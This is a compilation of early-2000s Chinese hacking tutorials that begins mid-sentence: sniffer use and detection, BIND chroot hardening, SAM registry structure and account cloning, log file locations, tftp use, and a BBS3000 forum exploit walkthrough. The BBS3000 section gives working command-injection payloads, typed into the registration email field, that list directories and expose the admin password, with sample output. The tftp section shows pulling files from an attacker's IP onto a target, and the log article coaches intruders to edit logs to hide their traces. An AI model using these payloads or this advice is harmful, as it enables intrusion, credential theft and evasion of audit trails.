能接受传输在网络上的每一个信息包。普通的情况下，网卡只接受和自己的地址
有关的信息包，即传输到本地主机的信息包。要使SNIFFER能接受处理这种方式
的信息，就需要系统支持bpf，LINUX下如SOCKET-PACKET，但一般情况下网络硬件
和TCP/IP堆栈是不支持接受或者发送与本地计算机无关的数据包，所以为了绕过
标准的TCP/IP堆栈，网卡就必须设置为我们刚开始将的杂乱模式，一般情况下，
要激活这种方式，必须内核支持这种伪设备bpfilter，而且需要ROOT用户来运行
这种SNIFFER程序，所以大家知道SNIFFER需要ROOT身份安装，而你即使以本地用户
进入了系统，你也嗅探不到ROOT的密码，因为不能运行SNIFFER。

基于SNIFFER这样的模式，可以分析各种信息包可以很清楚的描述出网络的结构
和使用的机器，由于它接受任何一个在同一网段上传输的数据包，所以也就存在着
SNIFFER可以用来捕获密码，EMAIL信息，秘密文档等一些其他没有加密的信息。所以
这成为黑客们常用的扩大战果的方法，夺取其他主机的控制权。

下面描述了一些传输介质被监听的可能性：

Ethernet 监听的可能性比较高，因为Ethernet网是一个广播型的网络，困扰着
INTERNET的大多数包监听时间都是一些运行在一台计算机中的包监听
程序的结果。这台计算机和其他计算机，一个网关或者路由器形成一个
以太网。

FDDI Token- 监听的可能性也比较高，尽管令牌网内的并不是一个广播型网络，
ring 实际上，带有令牌的那些包在传输过程中，平均要经过网络上一
半的计算机。但高的传输率将使监听变得困难。

电话线 监听的可能性中等，电话线可以被一些与电话公司协作的人或者一些
有机会在物理上访问到线路的人搭线窃听，在微波线路上的信息也
会被截获。在实际中，高速的MODEM比低速的MODEM搭线困难的多，
因为高速MODEM引入了许多频率。

IP通过有 监听的可能性比较高，使用有线电视信道发送IP数据包依靠RF调制
线电视信道 解调器，RF调制解调器使用一个TV通道用于上行，一个用于下行。
在这些线路上传输的信息没有加密，因此，可以被一些可以物理上
访问到TV电缆的人截获。

微波和 监听的可能性比较高，无线电本来上一个广播型的传输媒介，任何一
无线电 一个无线电接受机的人可以截获那些传输的信息。

现在多数的SNIFFER只监视连接时的信息包，原因是SNIFFER如果接受全部
的信息包，一个是LOG记录极其大，而且会占用大量的CPU时间，所以在一个担负
繁忙任务的计算机中进行监听，由于占用的CPU和带宽就可以怀疑有SNIFFER在工作，
当你觉得有异常现象的时候就先需要一些简单的方法检测。

虽然可以使用PS或者netstat的命令去查看是否有可以进程和连接信息的转态，
但入侵者改变了ps或者netstat程序也就不能发现这些程序了，其实修改ps命令只
须短短数条SHELL命令，即可将监听软件的名字过滤掉。

下面的两个方法原理简单，但操作起来比较困难：

1，对于怀疑运行监听程序的机器，用正确的IP地址和错误的物理地址去PING，运行
监听程序的机器回有响应，这是因为正常的机器不接受错误的物理地址，处于监
听状态的机器能接受，如果他的IP STACK不再次反向检查的话，就会响应，这种
方法依赖系统的IP STACK，对有些系统可能行不通。

2，往网上发大量不存在的物理地址的包，由于监听程序将处理这些包，将导致性能
下降，通过比较前后该机器性能（icmp echo delay等方法）加以判断，这种方法
难度较大点。

一些流行的SNIFFER

SNIFFIT：这是一个比较的SNIFFER，它由Brecht Clearhout所写，这是你应该最先
用的程序，这个SNIFFER默认状态下只接受最先的400个字节的信息包，这对于一次
登陆会话进程刚刚好。：p

SNORT：这个SNIFFER有很多选项供你使用并可移植性强，可以记录一些连接信息，
用来跟踪一些网络活动。

TCP DUMP：这个SNIFFER很有名，FREEBSD还搭带在系统上，是一个被很多UNIX高手
认为是一个专业的网络管理工具，记得以前Tsutomu Shimomura （应该叫下村
侵吧）就是使用他自己修改过的TCPDUMP版本来记录了KEVIN MITNICK攻击他系统的
记录，后来就配合FBI抓住了KEVIN MITNICK，后来他写了一文：使用这些LOG
记录描述了那次的攻击，How Mitnick hacked Tsutomu Shimomura with an IP sequence attack
(http://www.attrition.org/security/newbie/security/sniffer/shimomur.txt)

ADMsniff:这是非常有名的ADM黑客集团写的一个SNIFFER程序。

linsniffer:这是一个专门设计杂一LINUX平台上的SNIFFER。

Esniffer:这个也是一个比较有名的SNIFFER程序。

Sunsniff:这个是用在SUNOS系统上的SNIFFER，此程序应该在十年前推出的吧。

Solsniffer:这是个Solaris sniffer，主要是修改了SunSniff专门用来可以
方便的在Solair平台上编译。

这些程序attrition收集起来了，大家可以到下面的URL下载：
http://www.attrition.org/security/newbie/security/sniffer/

一些流行的检测SNIFFER的程序：

http://www.attrition.org/security/newbie/security/sniffer/promisc.c--
是一个很小的C程序，当编译好后，会查找本地机器上任何处于杂乱模式的NIC网络
适配卡。

http://www.attrition.org/security/newbie/security/sniffer/neped.c--
是一个用来远程检查任何嗅探活动的程序，可惜它只在LINUX下编译，当然你
也可以简单的使用'ifconfig -a'来检查你的UNIX机器是否有PROMISC标志。

http://www.l0pht.com/antisniff/这是L0pht写的很好的反SNIFFER程序，L0PHT
还打算公开LINUX版本上的源码版本。

另外，如果机器上使用两块网卡，把一块设置为杂乱模式，并把IP地址设置
为0.0.0.0，另一块卡处于正常的模式并是正确的地址，这样将很难发现SNIFFER的
存在。

一些资源：

大家可以到http://www.securityfocus.com/找到很多关于SNIFFER的程序，
PHRACK 54（FILE 10）的文章awesome article 很好的解释了很多方法和技巧来对付SNIFFER，
http://www.attrition.org/security/newbie/security/sniffer/shimomur.txt
是Shimomura写的文章(How Mitnick hacked Tsutomu Shimomura with an IP sequence attack)
。也可以到http://www.l0pht.com/站点下载Antisniffer，
这确实是一个不错的工具。


简述tftp心得

作者：阿笨猫
[欢迎来无限网络]

tftp，一个功能强大的ftp代替软件，它强大的ftp功能可以绕过主机的用户名和口令验证，绕过IPC$通道，直接COPY我们需要的文件，使用极其方便，我就在使用中的一些心得，写一点下来，送给大家！

一、上传：
格式：tftp -i 现在你的IP get 源文件夹 盘符：\\路径\\目标文件名
二、下载：
格式：tftp -i 对方的IP put 盘符：\路径\源文件名

用法和注意点：
1、tftp必须在本机上先运行起来，充当虚拟服务器的角色。
2、tftp在运行中不得断开连接。
3、要上传的文件必须和tftp在一个目录中。
4、文件的默认下载位置就是tftp目录。
5、tftp在上传的格式中，目标地址要用双\\格开。
6、可以在任何对方的命令行使用tftp，如：跟在对方IP后的浏览器地址栏里（详细说明请参考U漏洞的贴子）、SQLEXEC的command输入行等等位置。
7、tftp默认属性是上传和下载的时候采用覆盖不提示的方式。
8、tftp上传的文件可能会加上只读属性，请上传完全毕后检阅！

祝使用成功！


建立安全的DNS服务器（Linux版本）

By backend <backend@antionline.org>
http://www.nsfocus.com/

------------------------------------------------------------------

和其它大型软件一样，BIND（DNS服务器）也因其体积庞大和功能繁杂而存在许多问题。因此针对BIND安全漏洞的系统入侵数量也在大幅度上升，最严重的甚至可获取目标主机的所有远程控制权。由于DNS服务器主机对网络系统有着很大的影响，如何避免这些系统入侵也变得至关重要了。

这篇短文的主旨是讲述如何利用chroot()环境在RedHat Linux（或类似系统）中建立安全的BIND 8.x服务器。本文内容主要来自于Adam Shostack和他在这方面的文章（Solaris版本）。

步骤一：软件获取和安装

请到ISC FTP站点下载BIND的最新版本（本文内容在BIND 8.x版本中经过测试）。

到Obtuse System FTP站点下载本文必需的免费软件：holelogd（及其它有用的工具）。该软件用于在chroot环境中建立/dev/log套接字(socket)，从而使syslogd能够记录named进程的日志。OpenBSD系统的syslogd已内建了这一功能（"syslogd -a /chroot/dev/log"），但Linux系统尚未实现这一功能。Holelogd软件就是用来模仿OpenBSD的这个功能。

按照软件文档安装holelogd（通常被安装到/usr/local/sbin）。

步骤二：构造静态(static)的named和named-xfer二进制文件

在编译和安装后，你需要构造可执行文件的静态链接版本。只要对%BIND%/src/port/linux目录下的Makefile.set文件稍加修改后即可。
修改文件内容：

'CDEBUG= -O2 -g'

替换为：

'CDEBUG= -O2 -static'

切换到BIND的源代码路径，执行"make clean"和"make"命令。在下面的步骤中将会把这些文件复制到chroot()目录下。

本步骤构造的静态链接执行文件在运行时无需装载动态链接库。在chroot()环境中，这种“独立”可执行文件可避免出现缺少链接库文件问题。它在chroot()环境中无需任何静态链接库，可使服务配置简单化。其它所有的网络守护进程也可以编译和使用这种静态链接版本。

步骤三：构造BIND目录

为chroot()环境构造BIND目录。这个目录将在chroot()环境中被BIND当作系统根目录。

/dev
/etc
/namedb
/usr
/sbin
/var
/run

需要复制以下文件到其下的相应子目录中，和进行一些必要的处理：

/
无

/etc
复制系统/etc目录下的named.conf文件
复制系统/etc目录下的localtime文件（为syslog提供正确的named日志记录时间）
创建仅包含named GID的/etc/group文件

/etc/namedb
复制系统/etc/namedb目录下的所有“区(zone)”数据库和文件

/dev
mknod ./null c 1 3; chmod 666 null（请参阅相应版本的mknod命令）

/usr/sbin
复制系统%BIND%/src/bin/named目录和系统%BIND%/src/bin/named-xfer目录下的named和named-xfer二进制文件（静态链接版本）

/var/run
无

另外还可根据需要指定日志记录目录（如/var/log）。

步骤四：添加named用户和组

在/etc/passwd和/etc/group文件中添加named用户和组。它们是DNS服务器运行时的UID/GID。

此时，你可以到chroot环境中执行"chown -R named.named /etc/namedb"命令。这样当你向系统发送中断信号(kill -INT )时，named进程能够保存服务器缓存和统计信息。如果该目录为root所有则named进程无法将输出写到目录中，但不会影响named服务器功能。另一个选择是仅改变目录权限（使named用户具有写权限），而属主仍然是root。这种方法也是可行的，但必须小心设置，确保其它用户不会修改named记录！

*** 重要警告***
不要用一个已存在的UID/GID（如"nobody"）运行named。记住，以chroot环境中使用任何已存在的UID/GID都可能会影响到服务的安全性。必须养成在chroot环境中为每一个守护进程提供独立的UID/GID的习惯。

步骤五：编辑启动脚本

Linux使用SYS V风格的init文件，所以有几个地方都可以放置运行named的命令。（大多数情况下）最好将named初始化脚本放置到/etc/rc.d/init.d/named中。在其中你会找到有关named启动的那一节内容。我们需要添加和修改其中的某些行。

1、在运行named前插入一行以启动holelogd。需要向holelogd提供远程套接字
位置的参数，它应该是在上面步骤中创建的chroot named dev目录。命令行
内容如下：

# Start daemons.
echo -n "Staring holelogd: "
daemon /usr/local/sbin/holelogd /chroot/named/dev/log
echo
echo -n "Starting named: "
daemon named
echo
touch /var/lock/subsys/named
;;

2、另外还需要修改BIND的启动参数。BIND 8.x版本允许指定运行用户ID和组ID，
它也应该是在上面步骤中特别创建的UID/GID：

# Start daemons.
echo -n "Staring holelogd: "
daemon /usr/local/sbin/holelogd /chroot/named/dev/log
echo
echo -n "Starting named: "
daemon /chroot/named/usr/sbin/named -u named -g named -t /chroot/named
echo
touch /var/lock/subsys/named
;;

3、named附带的"ndc"脚本可用于控制named的工作。需要编辑这个文件以将PID
文件位置从/var/run/named.pid修改为/chroot/named/var/run/named.pid。

步骤六：服务器测试

输入如下命令启动holelogd进程

/usr/local/sbin/holelogd /chroot/named/dev/log

进入/chroot/named/dev/目录并输入ls -al。应该得到与下面类似的输出：

srw-rw-rw- 1 root wheel 0 Jan 01 12:00 log

设定的"s"位指示这是一个套接字(socket)文件。chroot()环境中的named进程将通过该套接字与syslog通讯。

现在输入：

/chroot/named/usr/sbin/named -u named -g named -t /chroot/named

如果一切正常，named进程将启动，日志文件将记录named服务器"Ready to answer queries."。

进行适当的DNS测试以确保服务器能正确工作，然后重新启动系统并检验所有配置。BIND正常启动后会报告其chroot()目录和运行UID/GID。你可以使用lsof之类的程序列出主机中所有网络套接字进行检查。

当一切工作正常后，建议将/etc/namedb改名为/etc/namedb.orig或其它名字，同时chmod 000 /usr/sbin/named，这样可以确保这些旧版本的named不会因偶然的失误而使用。

<< 完>>

------------------------------------------
资料来源：
ISC (Internet Software Consortium)
Steinar Haug
Bernhard Weisshuhn
Marc Heuse
Jan Gruber
Adam Shostack
Psionic


建立注册DLL和反注册DLL文件的快捷方式

建立注册DLL和反注册DLL文件的快捷方式
Author: Adam@nsfocus.com
Date: 2001-6-19 23:37:58

DLL files Register and Unregister

有的程序员经常要注册或者反注册自己写的dll文件，加一个快捷方式会减少自己的工作量：

[HKEY_CLASSES_ROOT\dllfile\shell\Unregister]
"Command"="regsvr32 %1 /u"

[HKEY_CLASSES_ROOT\dllfile\shell\Register]
"Command"="regsvr32 %1"

当我们需要注册或者反注册dll时，只要在该dll文件上按下鼠标右键即可！


解剖安全帐号管理器（SAM）结构

原创：refdom（refdom）
来源：www.opengram.com

Author: Refdom
Email : refdom@263.net
HomePage: http://www.opengram.com/
2002/4/29

I、 摘要
II、 关于SAM
III、注册表中SAM数据库的结构
IV、 SAM数据库的结构和主要内容
V、 关于SAM数据库分析的结论

一、摘要

分析安全帐号管理器结构是在一个多月前做的事情了，只零碎地记录下片段，没有发布过。不发布的主要
原因是安全帐户管理器（SAM）是WIN系统帐户管理的核心，并且非常系统化，我也有很多地方仅仅是进行的推
断和猜测，同时，SAM hack可能造成启动时lsass.exe加载帐户管理器出错，即便是安全模式也不能修复（启动
时候必然加载SAM）使得整个系统启动崩溃（我通常需要依靠第二系统删除SAM文件来启动）。至于现在发布出
来，主要是因为Adam和叮叮的《克隆管理员帐号》种所描述的制作rootkit办法隐蔽性和危害性，对SAM的结构
的熟悉，可以帮助安全维护人员做好安全检测（当然也可能让不良企图者利用）。

这里只介绍关于SAM的内容，同Security相关的暂时不公开。

二、关于SAM

不要误解了SAM，这不是一个文件sam这么简单。SAM（Security Accounts Manager安全帐户管理器）负责
SAM数据库的控制和维护。SAM数据库位于注册表HKLM\SAM\SAM下，受到ACL保护，可以使用regedt32.exe打开注
册表编辑器并设置适当权限查看SAM中的内容。SAM数据库在磁盘上就保存在%****root%****32\config\目
录下的sam文件中，在这个目录下还包括一个security文件，是安全数据库的内容，两者有不少关系。

SAM数据库中包含所有组、帐户的信息，包括密码HASH、帐户的SID等。这些内容在后面详细介绍。以我分
析的系统中文Win2K Adv Server为例。

三、注册表中SAM数据库的结构

展开注册表HKLM\SAM\SAM\:

HKLM---SAM
|---SAM
|---Domains
| |---Account
| | |---Aliases
| | | |---Members
| | | |---Names
| | |---Groups
| | | |---00000201
| | | |---Names
| | | |---None
| | |---Users
| | |---000001F4
| | |---000001F5
| | |---000003E8
| | |---000003E9
| | |---Names
| | |---Adaministrator
| | |---Guest
| | |---IUSR_REFDOM
| | |---IWASM_REFDOM
| |---Builtin
| |---Aliases
| | |---00000220
| | |---00000221
| | |---00000222
| | |---00000223
| | |---Members
| | | |---S-1-5-21-1214440339-706699826-1708537768
| | | |---000001F4
| | | |---000001F5
| | | |---000003E8
| | | |---000003E9
| | |--- Names
| | |---Administrators
| | |---Users
| | |---Guests
| | |---Power Users
| |---Groups
| | |---Names
| |
| |---Users
| |---Names
|
|---RXACT

这是我机器上注册表中的SAM树。

对照SAM文件中的内容，可以看出，注册表中的SAM树实际上就是SAM文件中一样。不过，SAM文件中是先列
RXACT然后在是Domains内容（以此类推），文件中的表达顺序和注册表中的树形顺序是相反的。如果习惯于看
文件内容，从文件的0000h到0006Ch，表示的是SAM数据库所在的位置：\****root\****32\config\sam，然
后是一端空白，直到01000h（hbin），从这里开始就是整个数据库的内容。SAM数据库的文件内容不作主要介绍，
不过会穿插着介绍，有兴趣可以自己去研究。

四、SAM数据库的结构和主要内容：

在整个数据库中，帐号主要内容存在于下面这些位置：

在\Domains\下就是域（或本机）中的SAM内容，其下有两个分支“Account”和“Builtin”。

\Domains\Account是用户帐号内容。

\Domains\Account\Users下就是各个帐号的信息。其下的子键就是各个帐号的SID相对标志符。比如000001F4，
每个帐号下面有两个子项，F和V。其中\Names\下是用户帐号名，每个帐号名只有一个默认的子项，项中类型不
是一般的注册表数据类型，而是指向标志这个帐号的SID最后一项（相对标识符），比如其下的Administrator，
类型为0x1F4，于是从前面的000001F4就对应着帐户名administrator的内容。由此可见MS帐号搜索的逻辑。

推断一：从注册表中结构来看帐号，如果查询一个帐户名refdom的相关信息，那么，微软从帐号名refdom中
找到其类型0x3EB,然后查找相对标志符（或者SID）为000003EB的帐号内容。所有的API函数（比如NetUserEnum()）
都是这样来执行的。因此，如果改变refdom帐号中的类型0x3EB为0x1F4，那么这个帐号将被指向类000001F4的帐
户。而这个帐号000001F4就是administrator帐户，这样，系统在登录过程中就把refdom帐号完全转为了administrator
帐号，帐号refdom所使用的所有内容、信息都是adminisrtator内容，包括密码、权限、桌面、记录、访问时间等
等。这个推断应该成立，但是，将意味着两个用户名对应一个用户信息，系统启动上应该会发生错误！

推断一是在以前分析结构的时候即得出了，揭示了登录过程中及之后帐户名和SID关联的关系。

\Domains\Account\Users\000001F4，这就是administrator的帐户信息（其他类似）。其中有两个子项V和F。
项目V中保存的是帐户的基本资料，用户名、用户全名(full name)、所属组、描述、密码hash、注释、是否可以更
改密码、帐户启用、密码设置时间等。项目F中保存的是一些登录记录，比如上次登录时间、错误登录次数等，还
有一个重要的地方就是这个帐号的SID相对标志符。

以前分析结构的时候没有留意到这个地方，这就是Adam提出的思路。这个地方就是这个SID相对标志符在注册
表中一个帐号出现了两遍，一个是在子键000001F4，另一个地方就是子键中项F的内容里面，从48到51的四个字节：
F4 01 00 00，这实际上是一个long类型变量，也就是00 00 01 F4。当一个标志出现在两个地方的时候就将发生
同步问题。明显，微软犯了这个毛病。两个变量本应该统一标志一个用户帐号，但是微软把两个变量分别发挥各自
的作用，却没有同步统一起来。

子键中000001F4用来同用户名administrator对应，方便通过用户查询帐户信息，比如LookupAccountSid（）等
帐号相关API函数都是通过这个位置来定位用户信息的，这个关联应该是用在了帐户登录以后。而项目V值中的
F4 01 00 00是同帐户登录最直接相关联的。

推断二：WIN登录的时候，将从SAM中获得相对标志符，而这个相对标志符的位置是V值中的 F4 01 00 00。但是，
帐户信息查询却使用的SAM中子键内容。

推断二的原因假设（假设一）：在帐户登录的时候，登录过程获得SAM数据库中用户名使用的帐户记录信息中的
相对标志符值（相当于V值中的 F4 01 00 00），帐户登录之后，所有跟帐户相关的之后，这个值不再被API函数使
用，而相对标志符由一个数据记录项的字段名代替（相当于子键000001F4）。微软犯了一个同步逻辑问题！

推断二是根据Adam提出而进行的，以前没有这样推断过。 推断二如果成立，揭示了在登录过程中帐户SID进行
的过程。这就是为什么V中的值都是跟帐户登录记录（登录时间，密码错误次数等）相关的原因。同时，因为F中保存
了一个用户名内容，而API函数查询的是这个用户名，所以Adam的克隆办法还是容易露脸，经叮叮补充过后，这个用户
名也被恢复原用户名了，从用户名上检测就相对难了。

上面对项目V的介绍可以知道，其中保存的是帐户的基本资料，用户名、用户全名(full name)、所属组、描述、
密码hash、注释、是否可以更改密码、帐户启用、密码设置时间等。现在来关心的是密码HASH。

假设二：在帐户的项V中，包含了用户HASH，分别包括是LM2和NT的密码加密散列，Crack时，可分开进行。毕竟
LM2简单。

\Domains\Builtin下的内容是同帐户组相关的。其结构同\Account下的类似，并且也存在相应的问题，就不再
罗嗦了。

SAM数据库保存的文件sam中，可没有注册表中的这么简明的内容，而主要是通过偏移量、长度来定位内容。并
且单个帐号的信息都是集中在一块的，而不是象注册表形式这样分隔开（名字的一个键而内容在另外一个键）。

sam文件中，可根据这些下面这些分隔符来定位数据含义：

nk (6E 6B) 键或者子键名
vk (76 6B) 相应的值
if (6C 66) 子键列表
sk (73 6B) 权限

五、关于SAM数据库分析的结论：

SAM HACK是非常有危险性的。不正确的修改会将系统的安全数据管理器破坏，造成系统启动问题，虽然可以通过
删除SAM文件来让启动恢复。如果能够熟悉SAM的结构，你将发现，可以对用户名与用户名之间、用户组与用户组之间
进行调换，以及帐户和帐户组伪造，完全打破微软的帐户格局。并且非常隐蔽，让帐户相关的API函数摸不着头脑。

虽然微软处理帐号信息中犯了不少逻辑问题，但是安全帐号数据库并非不安全，所有操作都必须能完全拥有管理
员权限。

当隐蔽后门的办法被提出来之后，一定会让不少“黑客”利用，管理员也应该多多熟悉相关技术，作好安全检测，
我的目的就达到了。对《克隆管理员帐号》的简单检测工具可以在我的主页(www.opengram.com)下载，但是更多的还
是需要管理员学习相关知识，才能更好地检测入侵。


介绍NT和UINX系统的LOG日志文件

我知道很多人很希望防止你侵入的电脑追踪你，这篇文章主要讲的有关这些问题的一些
解答。网管主要靠系统的LOG即我们时常所说的日志文件来获得侵入的痕迹及你进来的IP或
其他信息。当然也有些网管使用第三方工具来记录侵入他电脑的痕迹，这里主要要讲的是
一般UNIX系统里记录你踪迹的文件。
=========================================
WELL，那到底这些LOG日志文件放在哪里呢？
========================================
这主要依靠的是你所进入的UNIX系统系统，各个系统有些不同的LOG文件，但大多数都应该
有差不多的位置，最普通的位置就是下面的这几个位置
----/usr/adm - 早期版本的UNIX
----/var/adm - 新一点的版本使用这个位置
----/var/log - 一些版本的Solaris,Linux BSD,Free BSD使用这个位置
----/etc - 大多数UNIX版本把utmp放在此处，一些也把wtmp放在这里,这也是
syslog.conf的位置

下面的一些文件耕具你所在的目录不同而不同：

acct 或 pacct -- 记录每个用户使用的命令记录
access_log -- 主要使用来服务器运行了NCSA HTTPD, 这
记录文件会有什么站点连接过你的服务器
aculog -- 保存着你拨出去的MODEMS记录
lastlog -- 记录了用户最近的LOGIN记录和每个用户的
最初目的地，有时是最后不成功LOGIN的记录
loginlog -- 记录一些不正常的LOGIN记录
messages -- 记录输出到系统控制台的记录，另外的信息
由syslog来生成
security -- 记录一些使用UUCP系统企图进入限制范围的事例
sulog -- 记录使用su命令的记录
utmp -- 记录当前登录到系统中的所有用户
这个文件伴随着用户进入和离开系统而不断变化.
utmpx -- UTMP的扩展
wtmp -- 记录用户登录和退出事件
syslog -- 最重要的日志文件，使用syslogd守护程序来获得
日志信息：
/dev/log -一个UNIX域套接字，接受在本地机器上
运行的进程所产生的消息
/dev/klog - 一个从UNIX内核接受消息的设备
514端口 - 一个INTERNET套接字，接受其他机器
通过UDP产生的syslog消息。
uucp -- 记录的UUCP的信息，可以被本地UUCP活动更新，也
可有远程站点发起的动作修改，信息包括发出和接受
的呼叫，发出的请求，发送者，发送时间和发送主机
lpd-errs -- 处理打印机故障信息的日志
ftp日志 -- 执行带-l选项的ftpd能够获得记录功能
httpd日志 -- HTTPD服务器在日志中记录每一个WEB访问记录
history日志 -- 这个文件保存了用户最近输入命令的记录
vold.log -- 记录使用外接媒介时遇到的错误记录

-=-=-=-=-=-=-=-=-=-=-=-=-
其他类型的日志文件-
-=-=-=-=-=-=-=-=-=-=-=-=-
有些类型的LOG文件没有特定的标题，但开始于一个特定的标志，你可以在前面头发现
如下的标志，这就一般表示此是个LOG日志文件，你就可以编辑它了：

xfer -- 表明试图一个禁止的文件传输.
rexe -- 表明试图执行一个不允许的命令

还有许多其他其他类型的LOG文件存在,主要是第三方软件引起的,或者甚至他妈的网管
自己有设置了一只"眼睛"在他的系统上，所以你要对你认为可能是LOG文件的文件多一份
心眼。许多管理员喜欢把日志文件放在同一个目录中以便管理，所以你要检查你发现的
LOG文件所在的目录中，是否有其他日志文件放在这里，如果有,咯，你知道怎么做。

另一个你要注意的是有关LOG用户MAIL的文件，此文件名可以多种多样，或则有时是
syslog文件的一部分。你要知道syslog记录那些信息，你可以查看syslog.conf中的信息
此文件的目录是在/etc中

======================
Windows NT的审计跟踪
======================
几乎WINDOWS NT系统中的每一项事务都可以在一定程度上被审计，在WINDOWS NT中可以在
两个地方打开审计-EXPLORER 和USER MANAGER，在EXPLORER中，选择Securtiy，再选择
Auditing以几乎Directory Auditing对话框，系统管理员可以在这个窗口选择跟踪有效的
和无效的文件访问，在USER MANAGER中，系统管理员可以根据各种用户事件的成功和失败
选择审计策略，如登录和退出，文件访问，权限非法和关闭系统等。
WINDOWS NT是使用一种特殊的格式存放它的日志文件，这种格式的文件可以被事件查看器
EVENT VIEWER读取。事件查看器可以在ADMINISTRATIVE TOOL程序组中找到。系统管理员可以
使用事件查看器的Filter选项根据一定条件选择要查看的日志条目，查看条件包括类别，用户
和消息类型。
WINDOWS NT 在三个分开的日志文件存放审计信息：
--Application Log-文件包括用NT SECURITY AUTHORITY注册的应用程序产生的信息。
--Security Log-包括有关通过NT可识别安全提供者和客户的系统访问信息。
--System Log包含所有系统相关事件的信息。
WINDOWS NT FTP连接的日志：
WINDOWS NT可以记录入境的FTP连接，在注册表中进行了修改后，你可以是否记录由匿名
的，正常用户或者两种用户建立的连接，可以在事件查看器中查看这些日志条目。
WINDOWS NT的HTTPD事务
系统管理员可以使用NT的HTTPD服务在日志中记录对特定文件的访问企图。可以在控制
面板的HTTPD配置工具中选择一个激活日志功能特性。


窥探YUZI的BBS3000社区安全性

撰稿：badboy http://www.badclub.org/ 坏男孩俱乐部
badboy-club@21cn.com
部分漏洞提供者：
adver
x.z
这并不是什么权威教材，只适合菜鸟了解某些免费提供的论坛程序存在的不
安全面，切莫用此方法在国内做尝试，如果你偏要如此，那么由此引起的一
切法律后果由你自己负责。
本文只允许在网络任意转载，但须保留文章的完整性，如把本文作为经济目
的使用，或者未经本人许可进行印刷、光盘杂志、等出版性质的行为，本人
将保留侵权控告的权利。
—————————————————————————————————
第一篇
****基本漏洞测试*****

YUZI的BBS3000被不少的国内个人站点和企业站点用来作为网友交流的论坛，
但不少用户很少去探测这论坛的安全性，使用者很大程度上信任作者，而实际上
这些免费的版本和汉化修改论坛，往往存在一些致命的漏洞，本文的目的在于揭
示该论坛不为人知的漏洞，让大家更好的使用这类论坛，并且保证自身资料的隐
蔽和服务器的安全。

测试版本:bbs3000 v4.11
系统平台：win2k adv server=sp3 + iis 5.0 +ActivePerl 5.6.1.626
应用程序映射:perl.exe %s %s 动作：GET,HEAD,POST
或者:perlIS.dll 动作：GET,HEAD,POST
测试情况：
一、用户名为dir的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射

在站点建立一目录（或者虚拟目录）bbs3000,按论坛作者提供的说明书，默认安
装BBS3000 v4.11版本，我们注册一用户名为dir,密码为system,信箱为
#badboy@badclub.org（#任意信箱都可以），然后我们在IE地址栏处输入：
http://192.168.0.1/bbs3000/yhzl/dir.cgi
F:\new\bbs3000\bbs3000 的目录

2002-01-16 19:26 <DIR> .
2002-01-16 19:26 <DIR> ..
2002-01-16 22:42 43,247 bbs.cgi
2002-01-16 22:47 50,934 cjyh.cgi
2002-01-16 22:43 38,551 bbs1.cgi
2002-01-16 22:48 6,401 cookie.cgi
2002-01-16 22:42 2,138 affiche.cgi
2002-01-16 22:43 22,434 bbs2.cgi
（以下略）
34 个文件 417,611 字节
15 个目录 1,830,944,768 可用字节

2、采用应用程序映射:perlIS.dll应用程序映射
得到的显示页面为：
'F:\new\bbs3000\bbs3000\yhzl\dir.cgi' script produced no output

测试解释：在应用程序映射中，一个扩展名只能由一个程序去映射，在采用
perl.exe时，BBS3000存在查看网站目录和文件的漏洞，在采用perlIS.dll时，
则有暴露网站在服务器上的绝对地址的漏洞。

二、用户名为system的漏洞
1、采用应用程序映射:perl.exe %s %s应用程序映射
注册一用户名为system，密码为空格键（或者密码为system），信箱为
'dir c:'#@badclub.org，然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
C:\ 的目录

2001-11-27 20:56 1,002 FRUNLOG.TXT
2001-11-27 20:49 <DIR> WINNT
（以下略）
10 个文件 29,583 字节
9 个目录 946,327,552 可用字节

当密码为其他时，则显示：
CGI Error
The specified CGI application misbehaved by not returning a complete
set of HTTP headers. The headers it did return are:

syntax error at F:\new\bbs3000\bbs3000\yhzl\system.cgi line 1, near
"1 system"Execution of F:\new\bbs3000\bbs3000\yhzl\system.cgi
aborted due to compilation errors.

我们还可以这样测试用户名为system的情况，密码仍然为空格键
（或者密码为system）但把信箱修改为@ARGV##badboy@badclub.org，然后我
们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
D:\ 的目录
2001-01-18 23:23 <DIR> tools
2001-11-27 21:18 <DIR> 98tools
2001-04-08 13:08 <DIR> W2Kreskit
2001-11-06 19:52 <DIR> NOCDKEY-PROT
2001-12-01 21:32 <DIR> WINNT
2001-12-01 21:39 <DIR> Documents and Settings
2001-12-01 21:41 <DIR> Program Files
2001-12-01 21:53 <DIR> Inetpub
2002-01-16 19:17 <DIR> pl
（以下省略部分内容）
12 个文件 15,068,818 字节
15 个目录 2,371,317,760 可用字节
'0' 不是内部或外部命令，也不是可运行的程序
或批处理文件。

2、采用应用程序映射:perlIS.dll应用程序映射
用户名为system，密码为空格键（或者密码为system），信箱为'dir c:'#@badclub.org，
然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi
返回的页面显示为：
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output

把信箱修改为@ARGV##badboy@badclub.org，然后我们在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/system.cgi?dir%20d:
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\system.cgi' script produced no output

三、用户名为;字符的情况
1、采用应用程序映射:perlIS.dll应用程序映射
注册一用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org ，
（这里假设badboy为该论坛的社区区长，也就是该论坛最大权限的用户），然后我们
在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
'F:\new\bbs3000\bbs3000\yhzl\;.cgi' script produced no output
嗯，怎么还是和上面的perl.dll例子一样啊？？后面的就是关键了，你再输入这样
的看看
http://192.168.0.1/bbs3000/yhzl/badboy.txt
返回的页面显示为
badpass badboy http://192.168.0.1 2002-01-16
显示的内容前面就是密码、用户
天啊，事情怎么那么容易呀！！~_*
经测试，用户名为system密码为一个空格键（或者为system)，信箱为
rename "badboy.cgi","badboy.txt";#@badclub.org 的时候，步骤和上面一样，同样
可以获得相同的结果。

2、采用应用程序映射:perl.exe %s %s应用程序映射
用户名为;字符，密码为1，信箱为rename "badboy.cgi","badboy.txt";#@badclub.org
在IE地址栏内输入：
http://192.168.0.1/bbs3000/yhzl/;.cgi
返回的页面显示
CGI Error
The specified CGI application misbehaved by not returning a complete set of HTTP
headers. The headers it did return are:

第二篇
